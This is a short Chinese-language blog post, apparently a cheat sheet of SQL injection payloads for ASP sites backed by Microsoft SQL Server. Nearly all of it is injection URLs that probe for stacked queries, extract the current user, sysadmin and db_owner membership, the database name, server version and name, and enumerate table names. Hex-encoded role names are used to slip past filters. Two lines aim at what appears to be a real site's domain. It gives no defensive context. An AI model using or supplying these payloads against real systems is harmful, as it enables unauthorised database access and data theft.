SQL 注入有常用語句

是否支持多句查詢
http://www.xxx.com/xxxnews/shownews.asp?id=51;declare @a int--

是否支持子查詢
http://www.xxx.com/xxxnews/shownews.asp?id=51 and (Select count(1) from [sysobjects])>=0

返回用戶名
http://www.xxx.com/xxxnews/shownews.asp?id=51 And user%2Bchar(124)=0

當前用戶是否爲 sysadmin 固定服務器角色的成員。
http://www.xxx.com/xxxnews/shownews.asp?id=51 And Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1

PS:0x730079007300610064006D0069006E00 = sysadmin

當前用戶是否爲 db_owner 固定數據庫角色的成員
http://www.xxx.com/xxxnews/shownews.asp?id=51 And Cast(IS_MEMBER(0x640062005F006F0077006E0065007200) as varchar(1))%2Bchar(124)=1

0x640062005F006F0077006E0065007200 = db_owner

返回數據庫名
http://www.xxx.com/xxxnews/shownews.asp?id=51 And db_name()%2Bchar(124)=0

操作系統和SQLserver版本
http://www.99568.com/99568news/shownews.asp?id=51 And @@version = 1

本地服務器名稱
http://www.99568.com/99568news/shownews.asp?id=51 And @@SERVERNAME = 1

http://www.xxx.com.cn/newhomelink/site/News/Content.asp?NewsID=1077  And (Select Top 1 cast(name as varchar(8000)) from(Select Top 1 id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0 --第一個表名

發佈了29 篇原創文章 · 獲贊 0 · 訪問量 5萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章